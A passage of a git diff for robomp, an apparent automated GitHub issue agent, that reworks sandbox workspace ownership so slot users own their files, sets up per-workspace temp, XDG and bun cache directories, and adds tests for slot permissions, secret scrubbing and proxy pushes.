+ return {"user": slot_uid, "group": slot_uid, "extra_groups": [_SHARED_OMP_GID], "umask": 0o002} + + +def _prepare_slot_runtime_env(workspace: Workspace, slot_uid: int | None) -> dict[str, str]: + """Compute the env overlay (TMPDIR + XDG_*) for slot-side subprocesses. + + Pure env helper: ownership of the workspace tree (including these XDG + paths and the bun install cache) is the single responsibility of + ``ensure_workspace``/``_chown_workspace``. The mkdir calls here exist + only as a safety net for callers that bypass ``ensure_workspace`` (unit + tests) or for the case where a runtime dir was deleted mid-process. + + Cargo/rustup/target caches live under ``/data/cache/*`` (container ENV) + and are group-shared via ``omp``. Bun's install cache is explicitly + workspace-private because bun chmod/chowns its cache root, which makes a + cross-slot shared cache a permanent source of permission failures. + """ + tmpdir = _prepare_slot_tmpdir(workspace, slot_uid) + xdg_root = workspace.root / ".omp-xdg" + xdg_data = xdg_root / "data" + xdg_state = xdg_root / "state" + xdg_cache = xdg_root / "cache" + bun_cache = xdg_cache / "bun-install" + + for base in (xdg_data, xdg_state, xdg_cache): + base.mkdir(parents=True, exist_ok=True) + (base / "omp").mkdir(parents=True, exist_ok=True) + bun_cache.mkdir(parents=True, exist_ok=True) + + return { + "TMPDIR": str(tmpdir), + "TMP": str(tmpdir), + "TEMP": str(tmpdir), + "XDG_DATA_HOME": str(xdg_data), + "XDG_STATE_HOME": str(xdg_state), + "XDG_CACHE_HOME": str(xdg_cache), + "BUN_INSTALL_CACHE_DIR": str(bun_cache), + } + + +def _provision_runtime_dirs(ws_root: Path) -> None: + """Create the runtime dirs that ``_chown_workspace`` will hand to the slot. + + Runs immediately before ``_chown_workspace`` so the recursive chown sweep + picks up ``.omp-tmp`` and the per-workspace XDG tree. Without this, + ``_prepare_slot_runtime_env`` would create them later from the orchestrator + process — leaving root-owned cache roots that bun/biome/cargo cannot + chmod/utime, the original source of the recurring permission failures. + + Symlink-safe on ``.omp-tmp`` (replaces a planted non-directory in place). + """ + tmpdir = ws_root / ".omp-tmp" + try: + st = tmpdir.lstat() + except FileNotFoundError: + pass + else: + if not stat.S_ISDIR(st.st_mode): + tmpdir.unlink() + tmpdir.mkdir(mode=0o700, parents=True, exist_ok=True) + + xdg_root = ws_root / ".omp-xdg" + for sub in ("data", "state", "cache"): + base = xdg_root / sub + base.mkdir(parents=True, exist_ok=True) + (base / "omp").mkdir(parents=True, exist_ok=True) + (xdg_root / "cache" / "bun-install").mkdir(parents=True, exist_ok=True) + + def _grant_group_bits(path: Path, *, gid: int, bits: int) -> None: try: st = path.lstat() @@ -436,19 +569,31 @@ def _share_git_metadata_with_slots(repo_dir: Path, slot_uid: int | None) -> None _grant_tree(common_dir / rel, gid=gid, files_group_writable=True) -# slot_uid is also the slot-private GID created by entrypoint.sh. Do not use -# the shared omp group for the workspace tree; that would let every slot read -# every other slot's checkout, artifacts, context, and .omp-session. A retry may -# acquire a different slot, so we recursively hand the private workspace tree to -# the current slot before launching `omp --continue`. def _chown_workspace(ws_root: Path, slot_uid: int | None) -> None: + """Hand the entire workspace tree to the active slot UID/GID. + + Single-ownership invariant: every file under ``ws_root`` ends up owned by + ``slot_uid:slot_uid`` with mode ``u=rwX,g=rwX,o=`` (``0770`` dirs / ``0660`` + files). The slot's GID is its own private gid (created by entrypoint.sh), + so the group bits are functionally identical to owner-only — they exist + for parity with the existing pattern and to make accidental future + ``setgid`` use safe. + + The orchestrator (root) keeps read/write access via uid-0 bypass; any + subprocess that touches paths the agent will revisit MUST drop to the slot + via ``_slot_subprocess_kwargs`` so tools like bun/biome/cargo (which + chmod/utime their own cache state) never encounter a non-owner file. + + Self-healing on re-entry: an existing workspace left over from the old + ``root:slot`` model gets re-chown'd on the next ``ensure_workspace`` call. + """ if slot_uid is None: return if platform.system() != "Linux": return if os.geteuid() != 0: return - subprocess.run(["chown", "-R", f"0:{slot_uid}", str(ws_root)], check=True) + subprocess.run(["chown", "-R", f"{slot_uid}:{slot_uid}", str(ws_root)], check=True) subprocess.run(["chmod", "-R", "u=rwX,g=rwX,o=", str(ws_root)], check=True) @@ -544,7 +689,20 @@ class SandboxManager: seed=f"{repo}#{number}", ) - if not (repo_dir / ".git").exists(): + repo_exists = (repo_dir / ".git").exists() + workspace_prepared = False + slot_git_kwargs = _slot_subprocess_kwargs(slot_uid) + slot_git_env: dict[str, str] | None = None + if repo_exists: + # Existing workspaces are already slot-owned from the previous run. + # Refresh pool-side group bits, then hand the tree to the current + # slot before running any git command inside the worktree; root's + # uid-0 bypass does not bypass git's safe.directory ownership check. + _share_git_metadata_with_slots(repo_dir, slot_uid) + _provision_runtime_dirs(ws_root) + _chown_workspace(ws_root, slot_uid) + workspace_prepared = True + if not repo_exists: # Make sure the requested start point exists locally (best-effort). # For follow-ups on an existing PR, `existing_branch` is the remote # head branch we need to amend; starting from default would silently @@ -575,7 +733,13 @@ class SandboxManager: cwd=pool, ) else: - current = _safe_run(["git", "symbolic-ref", "--quiet", "--short", "HEAD"], cwd=repo_dir) + slot_git_env = _git_env_for_repo(repo_dir) + current = _safe_run( + ["git", "symbolic-ref", "--quiet", "--short", "HEAD"], + cwd=repo_dir, + env=slot_git_env, + **slot_git_kwargs, + ) if current.returncode == 0 and current.stdout.strip(): branch = current.stdout.strip() if existing_branch is not None and existing_branch != branch: @@ -584,11 +748,19 @@ class SandboxManager: existing_branch, branch, ) - # Identity is set on the worktree's shared config; idempotent. - _safe_run(["git", "config", "user.email", author_email], cwd=repo_dir) - _safe_run(["git", "config", "user.name", author_name], cwd=repo_dir) + if not workspace_prepared: + _share_git_metadata_with_slots(repo_dir, slot_uid) + _provision_runtime_dirs(ws_root) + _chown_workspace(ws_root, slot_uid) + if slot_git_env is None: + slot_git_env = _git_env_for_repo(repo_dir) + # Identity is set on the worktree's shared config; idempotent. Run as + # the slot after the chown so git never trips over safe.directory. + for command in (["git", "config", "user.email", author_email], ["git", "config", "user.name", author_name]): + proc = _safe_run(command, cwd=repo_dir, env=slot_git_env, **slot_git_kwargs) + if proc.returncode != 0: + raise GitCommandError(command, proc.returncode, proc.stdout, proc.stderr) _share_git_metadata_with_slots(repo_dir, slot_uid) - _chown_workspace(ws_root, slot_uid) return Workspace( root=ws_root, repo_dir=repo_dir, diff --git a/src/robomp/worker.py b/src/robomp/worker.py index 4060d1ece..0f6d00898 100644 --- a/src/robomp/worker.py +++ b/src/robomp/worker.py @@ -16,7 +16,6 @@ import asyncio import logging import os import shutil -import subprocess import threading from dataclasses import dataclass from pathlib import Path @@ -36,8 +35,8 @@ from robomp.config import Settings from robomp.db import Database, issue_key from robomp.github_backend import GitHubBackend from robomp.github_client import CommentInfo, IssueInfo, RepoInfo -from robomp.host_tools import AbortController, ToolBindings -from robomp.sandbox import GitTransport, Workspace, _prepare_slot_tmpdir +from robomp.host_tools import AbortController, ToolBindings, _git_identity_env +from robomp.sandbox import GitTransport, Workspace, _prepare_slot_runtime_env, _safe_directory_env log = logging.getLogger(__name__) @@ -186,48 +185,6 @@ def _build_extra_env(settings: Settings) -> dict[str, str]: return env -def _prepare_xdg_dirs(workspace: Workspace, slot_uid: int | None) -> dict[str, str]: - """Prepare per-workspace XDG homes for mutable omp state.""" - xdg_root = workspace.root / ".omp-xdg" - homes = { - "XDG_DATA_HOME": xdg_root / "data", - "XDG_STATE_HOME": xdg_root / "state", - "XDG_CACHE_HOME": xdg_root / "cache", - } - should_chown = slot_uid is not None and os.geteuid() == 0 - for base in homes.values(): - omp_dir = base / "omp" - base.mkdir(parents=True, exist_ok=True) - omp_dir.mkdir(parents=True, exist_ok=True) - if not should_chown: - continue - assert slot_uid is not None - for path in (base, omp_dir): - try: - os.chown(path, 0, slot_uid) - path.chmod(0o770) - except OSError as exc: - log.warning("Failed to make XDG directory accessible to slot user %s: %s", path, exc) - if should_chown: - assert slot_uid is not None - # `sandbox._chown_workspace` runs `chown -R 0:slot` on the entire - # workspace tree, which flips slot-created cache files under - # `.omp-xdg/` (e.g. bun's `.pile` install cache) from `slot:slot` - # to `root:slot`. The next bun install hits `PermissionDenied` - # because bun chmod/utime's its own cache files and needs owner. - # Restore slot ownership recursively so bun (and any other tool - # using XDG paths) can touch its own cache. - try: - subprocess.run( - ["chown", "-R", f"{slot_uid}:{slot_uid}", str(xdg_root)], - check=True, - capture_output=True, - ) - except (OSError, subprocess.CalledProcessError) as exc: - log.warning("Failed to recursively chown XDG root to slot %s: %s", slot_uid, exc) - return {key: str(path) for key, path in homes.items()} - - _TERMINAL_TRIAGE_TOOLS: frozenset[str] = frozenset({"gh_open_pr", "mark_unable_to_reproduce", "abort_task"}) _PR_REQUIRING_CLASSIFICATIONS: frozenset[str] = frozenset({"bug", "documentation"}) @@ -451,9 +408,9 @@ def _run_rpc_blocking( log.debug("delta", extra={"issue": bindings.issue_key, "delta": str(ev.get("delta", ""))[:200]}) rpc_env = _build_extra_env(settings) - slot_tmpdir = str(_prepare_slot_tmpdir(inputs.workspace, inputs.slot_uid)) - rpc_env.update({"TMPDIR": slot_tmpdir, "TMP": slot_tmpdir, "TEMP": slot_tmpdir}) - rpc_env.update(_prepare_xdg_dirs(inputs.workspace, inputs.slot_uid)) + rpc_env.update(_prepare_slot_runtime_env(inputs.workspace, inputs.slot_uid)) + rpc_env.update(_safe_directory_env(bindings.workspace.repo_dir)) + rpc_env.update(_git_identity_env(inputs.settings.resolved_author_name, inputs.settings.git_author_email)) resuming = _has_prior_session(bindings.workspace.session_dir) extra_args: tuple[str, ...] = ("--continue",) if resuming else () log.info( diff --git a/tests/test_host_tools.py b/tests/test_host_tools.py index 367d493b2..433ee37b9 100644 --- a/tests/test_host_tools.py +++ b/tests/test_host_tools.py @@ -12,6 +12,7 @@ import httpx import pytest from omp_rpc import HostToolContext, RpcCommandError +from robomp import host_tools from robomp.db import Database from robomp.github_client import GitHubClient, IssueInfo, RepoInfo from robomp.host_tools import AbortController, ToolBindings, build @@ -74,7 +75,7 @@ def _stop_loop(loop: asyncio.AbstractEventLoop, t: threading.Thread) -> None: def _bindings( - db: Database, tmp_path: Path, transport: httpx.MockTransport + db: Database, tmp_path: Path, transport: httpx.MockTransport, *, slot_uid: int | None = None ) -> tuple[ToolBindings, asyncio.AbstractEventLoop, threading.Thread]: github = GitHubClient("token", transport=transport) loop, thread = _make_loop_in_background() @@ -88,6 +89,7 @@ def _bindings( loop=loop, author_name="robomp-bot", author_email="robomp-bot@example.invalid", + slot_uid=slot_uid, ) db.upsert_issue( key=bindings.issue_key, @@ -104,6 +106,137 @@ def _ctx() -> HostToolContext[Any]: return HostToolContext(tool_call_id="tc-1", _cancel_event=threading.Event(), _send_update=lambda _payload: None) +def test_repo_command_env_scrubs_secrets_and_uses_workspace_cache( + db: Database, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + monkeypatch.setenv("GITHUB_TOKEN", "secret-token") + monkeypatch.setenv("GITHUB_WEBHOOK_SECRET", "secret-webhook") + monkeypatch.setenv("ROBOMP_GH_PROXY_HMAC_KEY", "secret-proxy") + monkeypatch.setenv("BUN_INSTALL_CACHE_DIR", "/data/cache/bun-cache") + + bindings, loop, thread = _bindings(db, tmp_path, httpx.MockTransport(lambda _r: httpx.Response(500)), slot_uid=2001) + try: + env = host_tools._repo_command_env(bindings) + finally: + _stop_loop(loop, thread) + + assert env["GITHUB_TOKEN"] == "" + assert env["GITHUB_WEBHOOK_SECRET"] == "" + assert env["ROBOMP_GH_PROXY_HMAC_KEY"] == "" + assert env["BUN_INSTALL_CACHE_DIR"] == str(bindings.workspace.root / ".omp-xdg" / "cache" / "bun-install") + assert env["XDG_CACHE_HOME"] == str(bindings.workspace.root / ".omp-xdg" / "cache") + assert env["TMPDIR"] == str(bindings.workspace.root / ".omp-tmp") + assert env["GIT_CONFIG_COUNT"] == "1" + assert env["GIT_CONFIG_KEY_0"] == "safe.directory" + assert env["GIT_CONFIG_VALUE_0"] == str(bindings.workspace.repo_dir) + assert env["GIT_AUTHOR_NAME"] == bindings.author_name + assert env["GIT_AUTHOR_EMAIL"] == bindings.author_email + assert env["GIT_COMMITTER_NAME"] == bindings.author_name + assert env["GIT_COMMITTER_EMAIL"] == bindings.author_email + assert (bindings.workspace.root / ".omp-tmp").is_dir() + + +def test_run_repo_command_uses_slot_identity_kwargs( + db: Database, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + import subprocess + + bindings, loop, thread = _bindings(db, tmp_path, httpx.MockTransport(lambda _r: httpx.Response(500)), slot_uid=2001) + captured: dict[str, Any] = {} + + monkeypatch.setattr( + host_tools, + "_slot_subprocess_kwargs", + lambda uid: {"user": uid, "group": uid, "extra_groups": [2000], "umask": 0o002}, + ) + + def fake_run(cmd: list[str], **kwargs: Any) -> subprocess.CompletedProcess[str]: + captured["cmd"] = cmd + captured["kwargs"] = kwargs + return subprocess.CompletedProcess(cmd, 0, "ok", "") + + monkeypatch.setattr(host_tools.subprocess, "run", fake_run) # type: ignore[attr-defined] + try: + proc = host_tools._run_repo_command(bindings, ["git", "status"]) + finally: + _stop_loop(loop, thread) + + assert proc.stdout == "ok" + assert captured["cmd"] == ["git", "status"] + kwargs = captured["kwargs"] + assert kwargs["cwd"] == str(bindings.workspace.repo_dir) + assert kwargs["user"] == 2001 + assert kwargs["group"] == 2001 + assert kwargs["extra_groups"] == [2000] + assert kwargs["umask"] == 0o002 + assert kwargs["env"]["BUN_INSTALL_CACHE_DIR"].endswith("/.omp-xdg/cache/bun-install") + + +def test_guarded_push_branch_rev_parse_runs_via_repo_command_and_passes_slot_uid( + db: Database, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + import subprocess + from dataclasses import replace + + from robomp.git_ops import PushResult + + class RecordingTransport: + def __init__(self) -> None: + self.calls: list[dict[str, Any]] = [] + + def push_branch(self, **kwargs: Any) -> PushResult: + self.calls.append(kwargs) + return PushResult(head=str(kwargs["expected_head"]), branch=str(kwargs["branch"])) + + transport = RecordingTransport() + bindings, loop, thread = _bindings( + db, + tmp_path, + httpx.MockTransport(lambda _r: httpx.Response(500)), + slot_uid=2001, + ) + bindings = replace(bindings, git_transport=transport) + commands: list[list[str]] = [] + + def fake_run_repo_command( + command_bindings: ToolBindings, cmd: list[str] | tuple[str, ...], *, timeout: float | None = None + ) -> subprocess.CompletedProcess[str]: + del timeout + assert command_bindings.slot_uid == 2001 + command = list(cmd) + commands.append(command) + if command == ["git", "rev-parse", "HEAD"]: + return subprocess.CompletedProcess(command, 0, "abc123\n", "") + if command[:3] == ["git", "log", "--format=%H%x09%ae%x09%an"]: + return subprocess.CompletedProcess( + command, + 0, + "abc123\trobomp-bot@example.invalid\trobomp-bot\n", + "", + ) + return subprocess.CompletedProcess(command, 0, "", "") + + monkeypatch.setattr(host_tools, "_run_repo_command", fake_run_repo_command) + monkeypatch.setattr(host_tools, "_share_git_metadata_with_slots", lambda _repo_dir, _slot_uid: None) + try: + head = host_tools._guarded_push_branch(bindings, {}, "gh_push_branch", bindings.workspace.branch) + finally: + _stop_loop(loop, thread) + + assert head == "abc123" + assert ["git", "rev-parse", "HEAD"] in commands + assert transport.calls == [ + { + "repo": "octo/widget", + "workspace_key": "octo__widget__42", + "repo_dir": bindings.workspace.repo_dir, + "branch": bindings.workspace.branch, + "expected_head": "abc123", + "slot_uid": 2001, + } + ] + + def test_gh_post_comment_happy_path(db: Database, tmp_path: Path) -> None: captured: dict[str, Any] = {} @@ -248,6 +381,31 @@ def test_repro_record_writes_transcript(db: Database, tmp_path: Path) -> None: _stop_loop(loop, t) +def test_repro_record_chowns_to_slot_when_root(db: Database, tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + chowns: list[tuple[Path, int, int]] = [] + monkeypatch.setattr(host_tools, "_slot_permissions_active", lambda slot_uid: slot_uid is not None) + monkeypatch.setattr("robomp.host_tools.os.chown", lambda path, uid, gid: chowns.append((Path(path), uid, gid))) + + bindings, loop, t = _bindings(db, tmp_path, httpx.MockTransport(lambda r: httpx.Response(500)), slot_uid=2001) + try: + tool = next(x for x in build(bindings) if x.name == "repro_record") + result = tool.execute( + { + "title": "panic on empty input", + "command": "bun test foo.test.ts", + "output": "Error: boom", + "exit_code": 1, + }, + _ctx(), + ) + assert result == "recorded" + files = list(bindings.workspace.repro_dir.iterdir()) + assert len(files) == 1 + assert chowns == [(files[0], 2001, 2001)] + finally: + _stop_loop(loop, t) + + def test_repro_record_rejects_bad_args(db: Database, tmp_path: Path) -> None: bindings, loop, t = _bindings(db, tmp_path, httpx.MockTransport(lambda r: httpx.Response(500))) try: diff --git a/tests/test_permissions_e2e.py b/tests/test_permissions_e2e.py new file mode 100644 index 000000000..f8dc8f21b --- /dev/null +++ b/tests/test_permissions_e2e.py @@ -0,0 +1,335 @@ +from __future__ import annotations + +import asyncio +import json +import os +import platform +import shutil +import subprocess +import tempfile +from collections.abc import Iterator +from pathlib import Path +from typing import cast + +import pytest + +from robomp import host_tools +from robomp.db import Database +from robomp.github_backend import GitHubBackend +from robomp.github_client import IssueInfo, RepoInfo +from robomp.sandbox import LocalGitTransport, SandboxManager, Workspace + +pytestmark = pytest.mark.skipif( + os.environ.get("ROBOMP_PERMISSION_E2E") != "1", + reason="set ROBOMP_PERMISSION_E2E=1 to run slot-permission e2e tests", +) + +_SLOT_ONE = 2001 +_SLOT_TWO = 2002 +_SHARED_OMP_GID = 2000 +_AUTHOR_NAME = "robomp-bot" +_AUTHOR_EMAIL = "robomp-bot@example.invalid" +_REPO = "octo/permission-e2e" + + +def _require_linux_root_toolchain() -> None: + if platform.system() != "Linux" or os.geteuid() != 0: + pytest.skip("slot permission e2e tests require Linux root so subprocesses can drop to omp-N UIDs") + missing = [cmd for cmd in ("git", "bun", "cargo", "python3") if shutil.which(cmd) is None] + if missing: + pytest.skip(f"slot permission e2e tests require tools on PATH: {', '.join(missing)}") + + +def _git(args: list[str], cwd: Path, *, env: dict[str, str] | None = None) -> subprocess.CompletedProcess[str]: + return subprocess.run( + ["git", *args], + cwd=str(cwd), + check=True, + capture_output=True, + text=True, + env=env, + ) + + +def _write_seed_repo(seed: Path) -> None: + (seed / "src").mkdir(parents=True) + (seed / "crates" / "core" / "src").mkdir(parents=True) + (seed / "package.json").write_text( + json.dumps( + { + "name": "permission-e2e", + "private": True, + "type": "module", + "scripts": { + "check": "bun run check:ts && cargo check --workspace", + "check:ts": "biome check src/index.ts", + "fix": "biome check --write --unsafe src/index.ts", + }, + "devDependencies": {"@biomejs/biome": "^2.4.14"}, + }, + indent=2, + ) + + "\n", + encoding="utf-8", + ) + (seed / ".gitignore").write_text("node_modules/\n", encoding="utf-8") + (seed / "src" / "index.ts").write_text("export const answer = 42;\n", encoding="utf-8") + (seed / "Cargo.toml").write_text( + '[workspace]\nmembers = ["crates/core"]\nresolver = "2"\n', + encoding="utf-8", + ) + (seed / "rust-toolchain.toml").write_text( + '[toolchain]\nchannel = "stable"\nprofile = "minimal"\n', + encoding="utf-8", + ) + (seed / "crates" / "core" / "Cargo.toml").write_text( + '[package]\nname = "permission-e2e-core"\nversion = "0.1.0"\nedition = "2021"\n\n[lib]\npath = "src/lib.rs"\n', + encoding="utf-8", + ) + (seed / "crates" / "core" / "src" / "lib.rs").write_text( + "pub fn answer() -> u32 {\n 42\n}\n", + encoding="utf-8", + ) + + +@pytest.fixture +def slot_tmp_path() -> Iterator[Path]: + root = Path(tempfile.mkdtemp(prefix="robomp-permission-e2e-", dir="/tmp")) + root.chmod(0o755) + try: + yield root + finally: + shutil.rmtree(root, ignore_errors=True) + + +def _share_tree_with_slots(path: Path) -> None: + for root, dirs, files in os.walk(path): + root_path = Path(root) + os.chown(root_path, 0, _SHARED_OMP_GID) + root_path.chmod(0o2770) + for dirname in dirs: + child = root_path / dirname + os.chown(child, 0, _SHARED_OMP_GID) + child.chmod(0o2770) + for filename in files: + child = root_path / filename + executable = child.stat().st_mode & 0o111 + os.chown(child, 0, _SHARED_OMP_GID) + child.chmod(0o770 if executable else 0o660) + + +@pytest.fixture +def upstream_repo(slot_tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: + upstream = slot_tmp_path / "upstream.git" + seed = slot_tmp_path / "seed" + seed.mkdir() + _write_seed_repo(seed) + + _git(["init", "--initial-branch=main", "--bare", str(upstream)], cwd=slot_tmp_path) + _git(["init", "--initial-branch=main", str(seed)], cwd=slot_tmp_path) + _git(["-C", str(seed), "add", "."], cwd=slot_tmp_path) + commit_env = os.environ | { + "GIT_AUTHOR_NAME": "seed", + "GIT_AUTHOR_EMAIL": "seed@example.invalid", + "GIT_COMMITTER_NAME": "seed", + "GIT_COMMITTER_EMAIL": "seed@example.invalid", + } + _git(["-C", str(seed), "commit", "-m", "seed"], cwd=slot_tmp_path, env=commit_env) + _git(["-C", str(seed), "remote", "add", "origin", str(upstream)], cwd=slot_tmp_path) + _git(["-C", str(seed), "push", "origin", "main"], cwd=slot_tmp_path) + _share_tree_with_slots(upstream) + git_system_config = slot_tmp_path / "git-system.conf" + _git(["config", "--file", str(git_system_config), "--add", "safe.directory", str(upstream)], cwd=slot_tmp_path) + git_system_config.chmod(0o644) + monkeypatch.setenv("GIT_CONFIG_SYSTEM", str(git_system_config)) + return upstream + + +@pytest.fixture +def tool_loop() -> Iterator[asyncio.AbstractEventLoop]: + loop = asyncio.new_event_loop() + try: + yield loop + finally: + loop.close() + + +def _ensure_workspace( + root: Path, upstream: Path, *, number: int, slot_uid: int, existing_branch: str | None = None +) -> Workspace: + manager = SandboxManager(root, transport=LocalGitTransport(token=None)) + return manager.ensure_workspace( + repo=_REPO, + number=number, + title="permission e2e", + clone_url=str(upstream), + default_branch="main", + existing_branch=existing_branch, + author_name=_AUTHOR_NAME, + author_email=_AUTHOR_EMAIL, + slot_uid=slot_uid, + ) + + +def _bindings( + *, + db: Database, + tool_loop: asyncio.AbstractEventLoop, + workspace: Workspace, + upstream: Path, + slot_uid: int, +) -> host_tools.ToolBindings: + repo = RepoInfo(full_name=_REPO, default_branch="main", clone_url=str(upstream), private=False) + issue = IssueInfo( + repo=_REPO, + number=workspace.issue_number, + title="permission e2e", + body="", + state="open", + author="human", + labels=(), + is_pull_request=False, + ) + return host_tools.ToolBindings( + db=db, + github=cast(GitHubBackend, object()), # not used by these local-only host-tool paths + git_transport=LocalGitTransport(token=None), + repo=repo, + issue=issue, + workspace=workspace, + loop=tool_loop, + author_name=_AUTHOR_NAME, + author_email=_AUTHOR_EMAIL, + slot_uid=slot_uid, + ) + + +def _run_ok( + bindings: host_tools.ToolBindings, + cmd: list[str] | tuple[str, ...], + *, + timeout: float = 180.0, +) -> subprocess.CompletedProcess[str]: + proc = host_tools._run_repo_command(bindings, cmd, timeout=timeout) + assert proc.returncode == 0, ( + f"command failed as slot {bindings.slot_uid}: {' '.join(cmd)}\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}" + ) + return proc + + +def _write_as_slot(bindings: host_tools.ToolBindings, relative_path: str, content: str) -> None: + _run_ok( + bindings, + [ + "python3", + "-c", + ( + "from pathlib import Path; " + "Path(__import__('sys').argv[1]).parent.mkdir(parents=True, exist_ok=True); " + "Path(__import__('sys').argv[1]).write_text(__import__('sys').argv[2], encoding='utf-8')" + ), + relative_path, + content, + ], + ) + + +def _prepare_shared_cargo_cache(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path: + cargo_home = tmp_path / "shared-cache" / "cargo" + cargo_target = tmp_path / "shared-cache" / "cargo-target" + for path in (cargo_home, cargo_target): + path.mkdir(parents=True) + os.chown(path, 0, _SHARED_OMP_GID) + path.chmod(0o2770) + monkeypatch.setenv("CARGO_HOME", str(cargo_home)) + monkeypatch.setenv("CARGO_TARGET_DIR", str(cargo_target)) + return cargo_target + + +def test_slot_workspace_runs_bun_biome_cargo_and_git_after_root_reentry( + slot_tmp_path: Path, + upstream_repo: Path, + db: Database, + tool_loop: asyncio.AbstractEventLoop, + monkeypatch: pytest.MonkeyPatch, +) -> None: + _require_linux_root_toolchain() + cargo_target = _prepare_shared_cargo_cache(slot_tmp_path, monkeypatch) + workspaces = slot_tmp_path / "workspaces" + + first = _ensure_workspace(workspaces, upstream_repo, number=101, slot_uid=_SLOT_ONE) + stale_bun_cache = first.root / ".omp-xdg" / "cache" / "bun-install" / "root-owned-stale" + stale_bun_cache.mkdir(parents=True, exist_ok=True) + stale_marker = stale_bun_cache / "marker.txt" + stale_marker.write_text("root-owned\n", encoding="utf-8") + stale_bun_cache.chmod(0o700) + stale_marker.chmod(0o600) + + workspace = _ensure_workspace( + workspaces, + upstream_repo, + number=101, + slot_uid=_SLOT_ONE, + existing_branch=first.branch, + ) + bindings = _bindings(db=db, tool_loop=tool_loop, workspace=workspace, upstream=upstream_repo, slot_uid=_SLOT_ONE) + + _run_ok(bindings, ["bun", "install", "--no-progress"], timeout=300.0) + _run_ok(bindings, ["bun", "run", "check:ts"], timeout=180.0) + _run_ok(bindings, ["cargo", "check", "--workspace"], timeout=600.0) + host_tools._run_pre_publish_bun_check(bindings, {}, tool_name="gh_push_branch", stage="push") + + runtime_env = host_tools._repo_command_env(bindings) + bun_cache = Path(runtime_env["BUN_INSTALL_CACHE_DIR"]) + assert bun_cache.is_dir() + assert bun_cache.stat().st_uid == _SLOT_ONE + assert stale_marker.stat().st_uid == _SLOT_ONE + assert (cargo_target / "debug").is_dir() + assert (cargo_target / "debug").stat().st_gid == _SHARED_OMP_GID + + _write_as_slot(bindings, "src/slot-generated.ts", "export const generatedBySlot = true;\n") + _run_ok(bindings, ["git", "add", "src/slot-generated.ts", "Cargo.lock", "bun.lock"]) + _run_ok(bindings, ["git", "commit", "-m", "slot generated file"]) + status = _run_ok(bindings, ["git", "status", "--porcelain", "--untracked-files=normal"]) + assert status.stdout.strip() == "" + + +def test_git_pool_metadata_survives_root_push_and_retry_slot( + slot_tmp_path: Path, + upstream_repo: Path, + db: Database, + tool_loop: asyncio.AbstractEventLoop, +) -> None: + _require_linux_root_toolchain() + workspaces = slot_tmp_path / "workspaces" + + first = _ensure_workspace(workspaces, upstream_repo, number=102, slot_uid=_SLOT_ONE) + first_bindings = _bindings(db=db, tool_loop=tool_loop, workspace=first, upstream=upstream_repo, slot_uid=_SLOT_ONE) + _write_as_slot(first_bindings, "src/first-slot.ts", "export const firstSlot = 1;\n") + _run_ok(first_bindings, ["git", "add", "src/first-slot.ts"]) + _run_ok(first_bindings, ["git", "commit", "-m", "first slot commit"]) + + first_head = host_tools._guarded_push_branch(first_bindings, {}, "gh_push_branch", first.branch) + remote_head = _git(["--git-dir", str(upstream_repo), "rev-parse", first.branch], cwd=slot_tmp_path).stdout.strip() + assert remote_head == first_head + + retry = _ensure_workspace( + workspaces, + upstream_repo, + number=102, + slot_uid=_SLOT_TWO, + existing_branch=first.branch, + ) + retry_bindings = _bindings(db=db, tool_loop=tool_loop, workspace=retry, upstream=upstream_repo, slot_uid=_SLOT_TWO) + + _run_ok(retry_bindings, ["git", "fsck", "--no-progress"], timeout=180.0) + _write_as_slot(retry_bindings, "src/retry-slot.ts", "export const retrySlot = 2;\n") + _run_ok(retry_bindings, ["git", "add", "src/retry-slot.ts"]) + _run_ok(retry_bindings, ["git", "commit", "-m", "retry slot commit"]) + + retry_head = host_tools._guarded_push_branch(retry_bindings, {}, "gh_push_branch", retry.branch) + remote_retry_head = _git( + ["--git-dir", str(upstream_repo), "rev-parse", retry.branch], cwd=slot_tmp_path + ).stdout.strip() + assert remote_retry_head == retry_head + assert retry_head != first_head diff --git a/tests/test_proxy_client.py b/tests/test_proxy_client.py index 697af0a9a..62e3e1516 100644 --- a/tests/test_proxy_client.py +++ b/tests/test_proxy_client.py @@ -498,6 +498,38 @@ def test_proxy_git_transport_push_head_drift(proxy_settings: Settings, upstream_ assert not _bare_has_branch(upstream_repo, branch) +def test_proxy_git_transport_push_slot_uid_body() -> None: + captured: list[dict[str, object]] = [] + + def handler(request: httpx.Request) -> httpx.Response: + captured.append(json.loads(request.content)) + return httpx.Response(200, json={"head": "abc123", "branch": "farm/abc/feat"}) + + transport = ProxyGitTransport( + base_url="http://proxy.test", + hmac_key=_HMAC, + transport=httpx.MockTransport(handler), + ) + transport.push_branch( + repo="octo/widget", + workspace_key="octo__widget__1", + repo_dir=Path("/unused"), + branch="farm/abc/feat", + expected_head="abc123", + slot_uid=2001, + ) + transport.push_branch( + repo="octo/widget", + workspace_key="octo__widget__1", + repo_dir=Path("/unused"), + branch="farm/abc/feat", + expected_head="abc123", + ) + + assert captured[0]["slot_uid"] == 2001 + assert "slot_uid" not in captured[1] + + # Sanity: signed POST headers from ProxyGitTransport._post verify cleanly. def test_proxy_git_transport_post_headers_verify() -> None: captured: list[httpx.Request] = [] diff --git a/tests/test_proxy_server.py b/tests/test_proxy_server.py index cf6b388b1..36a65e0b7 100644 --- a/tests/test_proxy_server.py +++ b/tests/test_proxy_server.py @@ -156,6 +156,36 @@ async def _async_client(app) -> httpx.AsyncClient: ) +def test_read_origin_url_uses_safe_directory_and_slot_identity(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: + from robomp.proxy import server as proxy_server + + captured: dict[str, object] = {} + repo_dir = tmp_path / "repo" + + def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]: + captured["cmd"] = cmd + captured.update(kwargs) + return subprocess.CompletedProcess(cmd, 0, "https://github.com/octo/widget.git\n", "") + + monkeypatch.setattr("robomp.proxy.server.subprocess.run", fake_run) + monkeypatch.setattr( + "robomp.proxy.server._slot_subprocess_kwargs", + lambda uid: {"user": uid, "group": uid, "extra_groups": [2000], "umask": 0o002}, + ) + + assert proxy_server._read_origin_url(repo_dir, slot_uid=2001) == "https://github.com/octo/widget.git" + + env = captured["env"] + assert isinstance(env, dict) + assert env["GIT_CONFIG_COUNT"] == "1" + assert 